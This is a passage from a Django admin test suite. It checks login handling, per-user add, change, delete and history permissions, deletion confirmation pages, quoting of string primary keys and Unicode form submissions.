self.client.post(login_url, self.super_email_login) self.assertContains(login, ERROR_MESSAGE) # only correct passwords get a username hint login = self.client.post(login_url, self.super_email_bad_login) self.assertContains(login, ERROR_MESSAGE) new_user = User(username='jondoe', password='secret', email='super@example.com') new_user.save() # check to ensure if there are multiple email addresses a user doesn't get a 500 login = self.client.post(login_url, self.super_email_login) self.assertContains(login, ERROR_MESSAGE) # Add User response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) login = self.client.post(login_url, self.adduser_login) self.assertRedirects(login, '/test_admin/admin/') self.assertFalse(login.context) self.client.get('/test_admin/admin/logout/') # Change User response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) login = self.client.post(login_url, self.changeuser_login) self.assertRedirects(login, '/test_admin/admin/') self.assertFalse(login.context) self.client.get('/test_admin/admin/logout/') # Delete User response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) login = self.client.post(login_url, self.deleteuser_login) self.assertRedirects(login, '/test_admin/admin/') self.assertFalse(login.context) self.client.get('/test_admin/admin/logout/') # Regular User should not be able to login. response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) login = self.client.post(login_url, self.joepublic_login) self.assertEqual(login.status_code, 200) self.assertContains(login, ERROR_MESSAGE) # Requests without username should not return 500 errors. response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) login = self.client.post(login_url, self.no_username_login) self.assertEqual(login.status_code, 200) form = login.context[0].get('form') self.assertEqual(form.errors['username'][0], 'This field is required.') def test_login_successfully_redirects_to_original_URL(self): response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) query_string = 'the-answer=42' redirect_url = '/test_admin/admin/?%s' % query_string new_next = {REDIRECT_FIELD_NAME: redirect_url} post_data = self.super_login.copy() post_data.pop(REDIRECT_FIELD_NAME) login = self.client.post( '%s?%s' % (reverse('admin:login'), urlencode(new_next)), post_data) self.assertRedirects(login, redirect_url) def test_double_login_is_not_allowed(self): """Regression test for #19327""" login_url = reverse('admin:login') + '?next=/test_admin/admin/' response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) # Establish a valid admin session login = self.client.post(login_url, self.super_login) self.assertRedirects(login, '/test_admin/admin/') self.assertFalse(login.context) # Logging in with non-admin user fails login = self.client.post(login_url, self.joepublic_login) self.assertEqual(login.status_code, 200) self.assertContains(login, ERROR_MESSAGE) # Establish a valid admin session login = self.client.post(login_url, self.super_login) self.assertRedirects(login, '/test_admin/admin/') self.assertFalse(login.context) # Logging in with admin user while already logged in login = self.client.post(login_url, self.super_login) self.assertRedirects(login, '/test_admin/admin/') self.assertFalse(login.context) self.client.get('/test_admin/admin/logout/') def test_add_view(self): """Test add view restricts access and actually adds items.""" login_url = reverse('admin:login') + '?next=/test_admin/admin/' add_dict = {'title': 'Døm ikke', 'content': '<p>great article</p>', 'date_0': '2008-03-18', 'date_1': '10:54:39', 'section': 1} # Change User should not have access to add articles self.client.get('/test_admin/admin/') self.client.post(login_url, self.changeuser_login) # make sure the view removes test cookie self.assertEqual(self.client.session.test_cookie_worked(), False) response = self.client.get('/test_admin/admin/admin_views/article/add/') self.assertEqual(response.status_code, 403) # Try POST just to make sure post = self.client.post('/test_admin/admin/admin_views/article/add/', add_dict) self.assertEqual(post.status_code, 403) self.assertEqual(Article.objects.all().count(), 3) self.client.get('/test_admin/admin/logout/') # Add user may login and POST to add view, then redirect to admin root self.client.get('/test_admin/admin/') self.client.post(login_url, self.adduser_login) addpage = self.client.get('/test_admin/admin/admin_views/article/add/') change_list_link = '&rsaquo; <a href="/test_admin/admin/admin_views/article/">Articles</a>' self.assertNotContains(addpage, change_list_link, msg_prefix='User restricted to add permission is given link to change list view in breadcrumbs.') post = self.client.post('/test_admin/admin/admin_views/article/add/', add_dict) self.assertRedirects(post, '/test_admin/admin/') self.assertEqual(Article.objects.all().count(), 4) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, 'Greetings from a created object') self.client.get('/test_admin/admin/logout/') # Super can add too, but is redirected to the change list view self.client.get('/test_admin/admin/') self.client.post(login_url, self.super_login) addpage = self.client.get('/test_admin/admin/admin_views/article/add/') self.assertContains(addpage, change_list_link, msg_prefix='Unrestricted user is not given link to change list view in breadcrumbs.') post = self.client.post('/test_admin/admin/admin_views/article/add/', add_dict) self.assertRedirects(post, '/test_admin/admin/admin_views/article/') self.assertEqual(Article.objects.all().count(), 5) self.client.get('/test_admin/admin/logout/') # 8509 - if a normal user is already logged in, it is possible # to change user into the superuser without error self.client.login(username='joepublic', password='secret') # Check and make sure that if user expires, data still persists self.client.get('/test_admin/admin/') self.client.post(login_url, self.super_login) # make sure the view removes test cookie self.assertEqual(self.client.session.test_cookie_worked(), False) def test_change_view(self): """Change view should restrict access and allow users to edit items.""" login_url = reverse('admin:login') + '?next=/test_admin/admin/' change_dict = {'title': 'Ikke fordømt', 'content': '<p>edited article</p>', 'date_0': '2008-03-18', 'date_1': '10:54:39', 'section': 1} # add user should not be able to view the list of article or change any of them self.client.get('/test_admin/admin/') self.client.post(login_url, self.adduser_login) response = self.client.get('/test_admin/admin/admin_views/article/') self.assertEqual(response.status_code, 403) response = self.client.get('/test_admin/admin/admin_views/article/1/') self.assertEqual(response.status_code, 403) post = self.client.post('/test_admin/admin/admin_views/article/1/', change_dict) self.assertEqual(post.status_code, 403) self.client.get('/test_admin/admin/logout/') # change user can view all items and edit them self.client.get('/test_admin/admin/') self.client.post(login_url, self.changeuser_login) response = self.client.get('/test_admin/admin/admin_views/article/') self.assertEqual(response.status_code, 200) response = self.client.get('/test_admin/admin/admin_views/article/1/') self.assertEqual(response.status_code, 200) post = self.client.post('/test_admin/admin/admin_views/article/1/', change_dict) self.assertRedirects(post, '/test_admin/admin/admin_views/article/') self.assertEqual(Article.objects.get(pk=1).content, '<p>edited article</p>') # one error in form should produce singular error message, multiple errors plural change_dict['title'] = '' post = self.client.post('/test_admin/admin/admin_views/article/1/', change_dict) self.assertContains(post, 'Please correct the error below.', msg_prefix='Singular error message not found in response to post with one error') change_dict['content'] = '' post = self.client.post('/test_admin/admin/admin_views/article/1/', change_dict) self.assertContains(post, 'Please correct the errors below.', msg_prefix='Plural error message not found in response to post with multiple errors') self.client.get('/test_admin/admin/logout/') # Test redirection when using row-level change permissions. Refs #11513. RowLevelChangePermissionModel.objects.create(id=1, name="odd id") RowLevelChangePermissionModel.objects.create(id=2, name="even id") for login_dict in [self.super_login, self.changeuser_login, self.adduser_login, self.deleteuser_login]: self.client.post(login_url, login_dict) response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/1/') self.assertEqual(response.status_code, 403) response = self.client.post('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/1/', {'name': 'changed'}) self.assertEqual(RowLevelChangePermissionModel.objects.get(id=1).name, 'odd id') self.assertEqual(response.status_code, 403) response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/2/') self.assertEqual(response.status_code, 200) response = self.client.post('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/2/', {'name': 'changed'}) self.assertEqual(RowLevelChangePermissionModel.objects.get(id=2).name, 'changed') self.assertRedirects(response, '/test_admin/admin/') self.client.get('/test_admin/admin/logout/') for login_dict in [self.joepublic_login, self.no_username_login]: self.client.post(login_url, login_dict) response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/1/', follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'login-form') response = self.client.post('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/1/', {'name': 'changed'}, follow=True) self.assertEqual(RowLevelChangePermissionModel.objects.get(id=1).name, 'odd id') self.assertEqual(response.status_code, 200) self.assertContains(response, 'login-form') response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/2/', follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'login-form') response = self.client.post('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/2/', {'name': 'changed again'}, follow=True) self.assertEqual(RowLevelChangePermissionModel.objects.get(id=2).name, 'changed') self.assertEqual(response.status_code, 200) self.assertContains(response, 'login-form') self.client.get('/test_admin/admin/logout/') def test_history_view(self): """History view should restrict access.""" login_url = reverse('admin:login') + '?next=/test_admin/admin/' # add user should not be able to view the list of article or change any of them self.client.get('/test_admin/admin/') self.client.post(login_url, self.adduser_login) response = self.client.get('/test_admin/admin/admin_views/article/1/history/') self.assertEqual(response.status_code, 403) self.client.get('/test_admin/admin/logout/') # change user can view all items and edit them self.client.get('/test_admin/admin/') self.client.post(login_url, self.changeuser_login) response = self.client.get('/test_admin/admin/admin_views/article/1/history/') self.assertEqual(response.status_code, 200) # Test redirection when using row-level change permissions. Refs #11513. RowLevelChangePermissionModel.objects.create(id=1, name="odd id") RowLevelChangePermissionModel.objects.create(id=2, name="even id") for login_dict in [self.super_login, self.changeuser_login, self.adduser_login, self.deleteuser_login]: self.client.post(login_url, login_dict) response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/1/history/') self.assertEqual(response.status_code, 403) response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/2/history/') self.assertEqual(response.status_code, 200) self.client.get('/test_admin/admin/logout/') for login_dict in [self.joepublic_login, self.no_username_login]: self.client.post(login_url, login_dict) response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/1/history/', follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'login-form') response = self.client.get('/test_admin/admin/admin_views/rowlevelchangepermissionmodel/2/history/', follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'login-form') self.client.get('/test_admin/admin/logout/') def test_conditionally_show_add_section_link(self): """ The foreign key widget should only show the "add related" button if the user has permission to add that related item. """ login_url = reverse('admin:login') + '?next=/test_admin/admin/' # Set up and log in user. url = '/test_admin/admin/admin_views/article/add/' add_link_text = ' class="add-another"' self.client.get('/test_admin/admin/') self.client.post(login_url, self.adduser_login) # The add user can't add sections yet, so they shouldn't see the "add # section" link. response = self.client.get(url) self.assertNotContains(response, add_link_text) # Allow the add user to add sections too. Now they can see the "add # section" link. add_user = User.objects.get(username='adduser') perm = get_perm(Section, get_permission_codename('add', Section._meta)) add_user.user_permissions.add(perm) response = self.client.get(url) self.assertContains(response, add_link_text) def test_custom_model_admin_templates(self): login_url = reverse('admin:login') + '?next=/test_admin/admin/' self.client.get('/test_admin/admin/') self.client.post(login_url, self.super_login) # Test custom change list template with custom extra context response = self.client.get('/test_admin/admin/admin_views/customarticle/') self.assertContains(response, "var hello = 'Hello!';") self.assertTemplateUsed(response, 'custom_admin/change_list.html') # Test custom add form template response = self.client.get('/test_admin/admin/admin_views/customarticle/add/') self.assertTemplateUsed(response, 'custom_admin/add_form.html') # Add an article so we can test delete, change, and history views post = self.client.post('/test_admin/admin/admin_views/customarticle/add/', { 'content': '<p>great article</p>', 'date_0': '2008-03-18', 'date_1': '10:54:39' }) self.assertRedirects(post, '/test_admin/admin/admin_views/customarticle/') self.assertEqual(CustomArticle.objects.all().count(), 1) article_pk = CustomArticle.objects.all()[0].pk # Test custom delete, change, and object history templates # Test custom change form template response = self.client.get('/test_admin/admin/admin_views/customarticle/%d/' % article_pk) self.assertTemplateUsed(response, 'custom_admin/change_form.html') response = self.client.get('/test_admin/admin/admin_views/customarticle/%d/delete/' % article_pk) self.assertTemplateUsed(response, 'custom_admin/delete_confirmation.html') response = self.client.post('/test_admin/admin/admin_views/customarticle/', data={ 'index': 0, 'action': ['delete_selected'], '_selected_action': ['1'], }) self.assertTemplateUsed(response, 'custom_admin/delete_selected_confirmation.html') response = self.client.get('/test_admin/admin/admin_views/customarticle/%d/history/' % article_pk) self.assertTemplateUsed(response, 'custom_admin/object_history.html') self.client.get('/test_admin/admin/logout/') def test_delete_view(self): """Delete view should restrict access and actually delete items.""" login_url = reverse('admin:login') + '?next=/test_admin/admin/' delete_dict = {'post': 'yes'} # add user should not be able to delete articles self.client.get('/test_admin/admin/') self.client.post(login_url, self.adduser_login) response = self.client.get('/test_admin/admin/admin_views/article/1/delete/') self.assertEqual(response.status_code, 403) post = self.client.post('/test_admin/admin/admin_views/article/1/delete/', delete_dict) self.assertEqual(post.status_code, 403) self.assertEqual(Article.objects.all().count(), 3) self.client.get('/test_admin/admin/logout/') # Delete user can delete self.client.get('/test_admin/admin/') self.client.post(login_url, self.deleteuser_login) response = self.client.get('/test_admin/admin/admin_views/section/1/delete/') self.assertContains(response, "<h2>Summary</h2>") self.assertContains(response, "<li>Articles: 3</li>") # test response contains link to related Article self.assertContains(response, "admin_views/article/1/") response = self.client.get('/test_admin/admin/admin_views/article/1/delete/') self.assertContains(response, "admin_views/article/1/") self.assertContains(response, "<h2>Summary</h2>") self.assertContains(response, "<li>Articles: 1</li>") self.assertEqual(response.status_code, 200) post = self.client.post('/test_admin/admin/admin_views/article/1/delete/', delete_dict) self.assertRedirects(post, '/test_admin/admin/') self.assertEqual(Article.objects.all().count(), 2) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, 'Greetings from a deleted object') article_ct = ContentType.objects.get_for_model(Article) logged = LogEntry.objects.get(content_type=article_ct, action_flag=DELETION) self.assertEqual(logged.object_id, '1') self.client.get('/test_admin/admin/logout/') def test_disabled_permissions_when_logged_in(self): self.client.login(username='super', password='secret') superuser = User.objects.get(username='super') superuser.is_active = False superuser.save() response = self.client.get('/test_admin/admin/', follow=True) self.assertContains(response, 'id="login-form"') self.assertNotContains(response, 'Log out') response = self.client.get('/test_admin/admin/secure-view/', follow=True) self.assertContains(response, 'id="login-form"') def test_disabled_staff_permissions_when_logged_in(self): self.client.login(username='super', password='secret') superuser = User.objects.get(username='super') superuser.is_staff = False superuser.save() response = self.client.get('/test_admin/admin/', follow=True) self.assertContains(response, 'id="login-form"') self.assertNotContains(response, 'Log out') response = self.client.get('/test_admin/admin/secure-view/', follow=True) self.assertContains(response, 'id="login-form"') def test_app_index_fail_early(self): """ If a user has no module perms, avoid iterating over all the modeladmins in the registry. """ login_url = reverse('admin:login') + '?next=/test_admin/admin/' opts = Article._meta change_user = User.objects.get(username='changeuser') permission = get_perm(Article, get_permission_codename('change', opts)) self.client.post(login_url, self.changeuser_login) # the user has no module permissions, because this module doesn't exist change_user.user_permissions.remove(permission) response = self.client.get('/test_admin/admin/admin_views/') self.assertEqual(response.status_code, 403) # the user now has module permissions change_user.user_permissions.add(permission) response = self.client.get('/test_admin/admin/admin_views/') self.assertEqual(response.status_code, 200) def test_shortcut_view_only_available_to_staff(self): """ Only admin users should be able to use the admin shortcut view. """ model_ctype = ContentType.objects.get_for_model(ModelWithStringPrimaryKey) obj = ModelWithStringPrimaryKey.objects.create(string_pk='foo') shortcut_url = "/test_admin/admin/r/%s/%s/" % (model_ctype.pk, obj.pk) # Not logged in: we should see the login page. response = self.client.get(shortcut_url, follow=True) self.assertTemplateUsed(response, 'admin/login.html') # Logged in? Redirect. self.client.login(username='super', password='secret') response = self.client.get(shortcut_url, follow=False) # Can't use self.assertRedirects() because User.get_absolute_url() is silly. self.assertEqual(response.status_code, 302) # Domain may depend on contrib.sites tests also run six.assertRegex(self, response.url, 'http://(testserver|example.com)/dummy/foo/') def test_has_module_permission(self): """ Ensure that has_module_permission() returns True for all users who have any permission for that module (add, change, or delete), so that the module is displayed on the admin index page. """ login_url = reverse('admin:login') + '?next=/test_admin/admin/' self.client.post(login_url, self.super_login) response = self.client.get('/test_admin/admin/') self.assertContains(response, 'admin_views') self.assertContains(response, 'Articles') self.client.get('/test_admin/admin/logout/') self.client.post(login_url, self.adduser_login) response = self.client.get('/test_admin/admin/') self.assertContains(response, 'admin_views') self.assertContains(response, 'Articles') self.client.get('/test_admin/admin/logout/') self.client.post(login_url, self.changeuser_login) response = self.client.get('/test_admin/admin/') self.assertContains(response, 'admin_views') self.assertContains(response, 'Articles') self.client.get('/test_admin/admin/logout/') self.client.post(login_url, self.deleteuser_login) response = self.client.get('/test_admin/admin/') self.assertContains(response, 'admin_views') self.assertContains(response, 'Articles') self.client.get('/test_admin/admin/logout/') def test_overriding_has_module_permission(self): """ Ensure that overriding has_module_permission() has the desired effect. In this case, it always returns False, so the module should not be displayed on the admin index page for any users. """ login_url = reverse('admin:login') + '?next=/test_admin/admin7/' self.client.post(login_url, self.super_login) response = self.client.get('/test_admin/admin7/') self.assertNotContains(response, 'admin_views') self.assertNotContains(response, 'Articles') self.client.get('/test_admin/admin7/logout/') self.client.post(login_url, self.adduser_login) response = self.client.get('/test_admin/admin7/') self.assertNotContains(response, 'admin_views') self.assertNotContains(response, 'Articles') self.client.get('/test_admin/admin7/logout/') self.client.post(login_url, self.changeuser_login) response = self.client.get('/test_admin/admin7/') self.assertNotContains(response, 'admin_views') self.assertNotContains(response, 'Articles') self.client.get('/test_admin/admin7/logout/') self.client.post(login_url, self.deleteuser_login) response = self.client.get('/test_admin/admin7/') self.assertNotContains(response, 'admin_views') self.assertNotContains(response, 'Articles') self.client.get('/test_admin/admin7/logout/') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewsNoUrlTest(TestCase): """Regression test for #17333""" fixtures = ['admin-views-users.xml'] def setUp(self): opts = Report._meta # User who can change Reports change_user = User.objects.get(username='changeuser') change_user.user_permissions.add(get_perm(Report, get_permission_codename('change', opts))) # login POST dict self.changeuser_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'changeuser', 'password': 'secret', } def test_no_standard_modeladmin_urls(self): """Admin index views don't break when user's ModelAdmin removes standard urls""" self.client.get('/test_admin/admin/') r = self.client.post(reverse('admin:login'), self.changeuser_login) r = self.client.get('/test_admin/admin/') # we shouldn' get an 500 error caused by a NoReverseMatch self.assertEqual(r.status_code, 200) self.client.get('/test_admin/admin/logout/') @skipUnlessDBFeature('can_defer_constraint_checks') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewDeletedObjectsTest(TestCase): fixtures = ['admin-views-users.xml', 'deleted-objects.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_nesting(self): """ Objects should be nested to display the relationships that cause them to be scheduled for deletion. """ pattern = re.compile(br"""<li>Plot: <a href=".+/admin_views/plot/1/">World Domination</a>\s*<ul>\s*<li>Plot details: <a href=".+/admin_views/plotdetails/1/">almost finished</a>""") response = self.client.get('/test_admin/admin/admin_views/villain/%s/delete/' % quote(1)) six.assertRegex(self, response.content, pattern) def test_cyclic(self): """ Cyclic relationships should still cause each object to only be listed once. """ one = """<li>Cyclic one: <a href="/test_admin/admin/admin_views/cyclicone/1/">I am recursive</a>""" two = """<li>Cyclic two: <a href="/test_admin/admin/admin_views/cyclictwo/1/">I am recursive too</a>""" response = self.client.get('/test_admin/admin/admin_views/cyclicone/%s/delete/' % quote(1)) self.assertContains(response, one, 1) self.assertContains(response, two, 1) def test_perms_needed(self): self.client.logout() delete_user = User.objects.get(username='deleteuser') delete_user.user_permissions.add(get_perm(Plot, get_permission_codename('delete', Plot._meta))) self.assertTrue(self.client.login(username='deleteuser', password='secret')) response = self.client.get('/test_admin/admin/admin_views/plot/%s/delete/' % quote(1)) self.assertContains(response, "your account doesn't have permission to delete the following types of objects") self.assertContains(response, "<li>plot details</li>") def test_protected(self): q = Question.objects.create(question="Why?") a1 = Answer.objects.create(question=q, answer="Because.") a2 = Answer.objects.create(question=q, answer="Yes.") response = self.client.get("/test_admin/admin/admin_views/question/%s/delete/" % quote(q.pk)) self.assertContains(response, "would require deleting the following protected related objects") self.assertContains(response, '<li>Answer: <a href="/test_admin/admin/admin_views/answer/%s/">Because.</a></li>' % a1.pk) self.assertContains(response, '<li>Answer: <a href="/test_admin/admin/admin_views/answer/%s/">Yes.</a></li>' % a2.pk) def test_not_registered(self): should_contain = """<li>Secret hideout: underground bunker""" response = self.client.get('/test_admin/admin/admin_views/villain/%s/delete/' % quote(1)) self.assertContains(response, should_contain, 1) def test_multiple_fkeys_to_same_model(self): """ If a deleted object has two relationships from another model, both of those should be followed in looking for related objects to delete. """ should_contain = """<li>Plot: <a href="/test_admin/admin/admin_views/plot/1/">World Domination</a>""" response = self.client.get('/test_admin/admin/admin_views/villain/%s/delete/' % quote(1)) self.assertContains(response, should_contain) response = self.client.get('/test_admin/admin/admin_views/villain/%s/delete/' % quote(2)) self.assertContains(response, should_contain) def test_multiple_fkeys_to_same_instance(self): """ If a deleted object has two relationships pointing to it from another object, the other object should still only be listed once. """ should_contain = """<li>Plot: <a href="/test_admin/admin/admin_views/plot/2/">World Peace</a></li>""" response = self.client.get('/test_admin/admin/admin_views/villain/%s/delete/' % quote(2)) self.assertContains(response, should_contain, 1) def test_inheritance(self): """ In the case of an inherited model, if either the child or parent-model instance is deleted, both instances are listed for deletion, as well as any relationships they have. """ should_contain = [ """<li>Villain: <a href="/test_admin/admin/admin_views/villain/3/">Bob</a>""", """<li>Super villain: <a href="/test_admin/admin/admin_views/supervillain/3/">Bob</a>""", """<li>Secret hideout: floating castle""", """<li>Super secret hideout: super floating castle!""" ] response = self.client.get('/test_admin/admin/admin_views/villain/%s/delete/' % quote(3)) for should in should_contain: self.assertContains(response, should, 1) response = self.client.get('/test_admin/admin/admin_views/supervillain/%s/delete/' % quote(3)) for should in should_contain: self.assertContains(response, should, 1) def test_generic_relations(self): """ If a deleted object has GenericForeignKeys pointing to it, those objects should be listed for deletion. """ plot = Plot.objects.get(pk=3) FunkyTag.objects.create(content_object=plot, name='hott') should_contain = """<li>Funky tag: <a href="/test_admin/admin/admin_views/funkytag/1/">hott""" response = self.client.get('/test_admin/admin/admin_views/plot/%s/delete/' % quote(3)) self.assertContains(response, should_contain) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class TestGenericRelations(TestCase): fixtures = ['admin-views-users.xml', 'deleted-objects.xml'] def setUp(self): self.client.login(username='super', password='secret') def test_generic_content_object_in_list_display(self): plot = Plot.objects.get(pk=3) FunkyTag.objects.create(content_object=plot, name='hott') response = self.client.get('/test_admin/admin/admin_views/funkytag/') self.assertContains(response, "%s</td>" % plot) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewStringPrimaryKeyTest(TestCase): fixtures = ['admin-views-users.xml', 'string-primary-key.xml'] def __init__(self, *args): super(AdminViewStringPrimaryKeyTest, self).__init__(*args) self.pk = """abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 -_.!~*'() ;/?:@&=+$, <>#%" {}|\^[]`""" def setUp(self): self.client.login(username='super', password='secret') content_type_pk = ContentType.objects.get_for_model(ModelWithStringPrimaryKey).pk LogEntry.objects.log_action(100, content_type_pk, self.pk, self.pk, 2, change_message='Changed something') def tearDown(self): self.client.logout() def test_get_history_view(self): """ Retrieving the history for an object using urlencoded form of primary key should work. Refs #12349, #18550. """ response = self.client.get('/test_admin/admin/admin_views/modelwithstringprimarykey/%s/history/' % quote(self.pk)) self.assertContains(response, escape(self.pk)) self.assertContains(response, 'Changed something') self.assertEqual(response.status_code, 200) def test_get_change_view(self): "Retrieving the object using urlencoded form of primary key should work" response = self.client.get('/test_admin/admin/admin_views/modelwithstringprimarykey/%s/' % quote(self.pk)) self.assertContains(response, escape(self.pk)) self.assertEqual(response.status_code, 200) def test_changelist_to_changeform_link(self): "Link to the changeform of the object in changelist should use reverse() and be quoted -- #18072" prefix = '/test_admin/admin/admin_views/modelwithstringprimarykey/' response = self.client.get(prefix) # this URL now comes through reverse(), thus url quoting and iri_to_uri encoding pk_final_url = escape(iri_to_uri(quote(self.pk))) should_contain = """<th class="field-__str__"><a href="%s%s/">%s</a></th>""" % (prefix, pk_final_url, escape(self.pk)) self.assertContains(response, should_contain) def test_recentactions_link(self): "The link from the recent actions list referring to the changeform of the object should be quoted" response = self.client.get('/test_admin/admin/') link = reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(self.pk),)) should_contain = """<a href="%s">%s</a>""" % (escape(link), escape(self.pk)) self.assertContains(response, should_contain) def test_recentactions_without_content_type(self): "If a LogEntry is missing content_type it will not display it in span tag under the hyperlink." response = self.client.get('/test_admin/admin/') link = reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(self.pk),)) should_contain = """<a href="%s">%s</a>""" % (escape(link), escape(self.pk)) self.assertContains(response, should_contain) should_contain = "Model with string primary key" # capitalized in Recent Actions self.assertContains(response, should_contain) logentry = LogEntry.objects.get(content_type__name__iexact=should_contain) # http://code.djangoproject.com/ticket/10275 # if the log entry doesn't have a content type it should still be # possible to view the Recent Actions part logentry.content_type = None logentry.save() counted_presence_before = response.content.count(force_bytes(should_contain)) response = self.client.get('/test_admin/admin/') counted_presence_after = response.content.count(force_bytes(should_contain)) self.assertEqual(counted_presence_before - 1, counted_presence_after) def test_logentry_get_admin_url(self): "LogEntry.get_admin_url returns a URL to edit the entry's object or None for non-existent (possibly deleted) models" log_entry_name = "Model with string primary key" # capitalized in Recent Actions logentry = LogEntry.objects.get(content_type__name__iexact=log_entry_name) model = "modelwithstringprimarykey" desired_admin_url = "/test_admin/admin/admin_views/%s/%s/" % (model, iri_to_uri(quote(self.pk))) self.assertEqual(logentry.get_admin_url(), desired_admin_url) logentry.content_type.model = "non-existent" self.assertEqual(logentry.get_admin_url(), None) def test_deleteconfirmation_link(self): "The link from the delete confirmation page referring back to the changeform of the object should be quoted" response = self.client.get('/test_admin/admin/admin_views/modelwithstringprimarykey/%s/delete/' % quote(self.pk)) # this URL now comes through reverse(), thus url quoting and iri_to_uri encoding should_contain = """/%s/">%s</a>""" % (escape(iri_to_uri(quote(self.pk))), escape(self.pk)) self.assertContains(response, should_contain) def test_url_conflicts_with_add(self): "A model with a primary key that ends with add should be visible" add_model = ModelWithStringPrimaryKey(pk="i have something to add") add_model.save() response = self.client.get('/test_admin/admin/admin_views/modelwithstringprimarykey/%s/' % quote(add_model.pk)) should_contain = """<h1>Change model with string primary key</h1>""" self.assertContains(response, should_contain) def test_url_conflicts_with_delete(self): "A model with a primary key that ends with delete should be visible" delete_model = ModelWithStringPrimaryKey(pk="delete") delete_model.save() response = self.client.get('/test_admin/admin/admin_views/modelwithstringprimarykey/%s/' % quote(delete_model.pk)) should_contain = """<h1>Change model with string primary key</h1>""" self.assertContains(response, should_contain) def test_url_conflicts_with_history(self): "A model with a primary key that ends with history should be visible" history_model = ModelWithStringPrimaryKey(pk="history") history_model.save() response = self.client.get('/test_admin/admin/admin_views/modelwithstringprimarykey/%s/' % quote(history_model.pk)) should_contain = """<h1>Change model with string primary key</h1>""" self.assertContains(response, should_contain) def test_shortcut_view_with_escaping(self): "'View on site should' work properly with char fields" model = ModelWithStringPrimaryKey(pk='abc_123') model.save() response = self.client.get('/test_admin/admin/admin_views/modelwithstringprimarykey/%s/' % quote(model.pk)) should_contain = '/%s/" class="viewsitelink">' % model.pk self.assertContains(response, should_contain) def test_change_view_history_link(self): """Object history button link should work and contain the pk value quoted.""" url = reverse('admin:%s_modelwithstringprimarykey_change' % ModelWithStringPrimaryKey._meta.app_label, args=(quote(self.pk),)) response = self.client.get(url) self.assertEqual(response.status_code, 200) expected_link = reverse('admin:%s_modelwithstringprimarykey_history' % ModelWithStringPrimaryKey._meta.app_label, args=(quote(self.pk),)) self.assertContains(response, '<a href="%s" class="historylink"' % expected_link) def test_redirect_on_add_view_continue_button(self): """As soon as an object is added using "Save and continue editing" button, the user should be redirected to the object's change_view. In case primary key is a string containing some special characters like slash or underscore, these characters must be escaped (see #22266) """ response = self.client.post( '/test_admin/admin/admin_views/modelwithstringprimarykey/add/', { 'string_pk': '123/history', "_continue": "1", # Save and continue editing } ) self.assertEqual(response.status_code, 302) # temporary redirect self.assertEqual( response['location'], ( 'http://testserver/test_admin/admin/admin_views/' 'modelwithstringprimarykey/123_2Fhistory/' # PK is quoted ) ) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class SecureViewTests(TestCase): """ Test behavior of a view protected by the staff_member_required decorator. """ fixtures = ['admin-views-users.xml'] def tearDown(self): self.client.logout() def test_secure_view_shows_login_if_not_logged_in(self): """ Ensure that we see the admin login form. """ secure_url = '/test_admin/admin/secure-view/' response = self.client.get(secure_url) self.assertRedirects(response, '%s?next=%s' % (reverse('admin:login'), secure_url)) response = self.client.get(secure_url, follow=True) self.assertTemplateUsed(response, 'admin/login.html') self.assertEqual(response.context[REDIRECT_FIELD_NAME], secure_url) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewUnicodeTest(TestCase): fixtures = ['admin-views-unicode.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_unicode_edit(self): """ A test to ensure that POST on edit_view handles non-ASCII characters. """ post_data = { "name": "Test lærdommer", # inline data "chapter_set-TOTAL_FORMS": "6", "chapter_set-INITIAL_FORMS": "3", "chapter_set-MAX_NUM_FORMS": "0", "chapter_set-0-id": "1", "chapter_set-0-title": "Norske bostaver æøå skaper problemer", "chapter_set-0-content": "&lt;p&gt;Svært frustrerende med UnicodeDecodeError&lt;/p&gt;", "chapter_set-1-id": "2", "chapter_set-1-title": "Kjærlighet.", "chapter_set-1-content": "&lt;p&gt;La kjærligheten til de lidende seire.&lt;/p&gt;", "chapter_set-2-id": "3", "chapter_set-2-title": "Need a title.", "chapter_set-2-content": "&lt;p&gt;Newest content&lt;/p&gt;", "chapter_set-3-id": "", 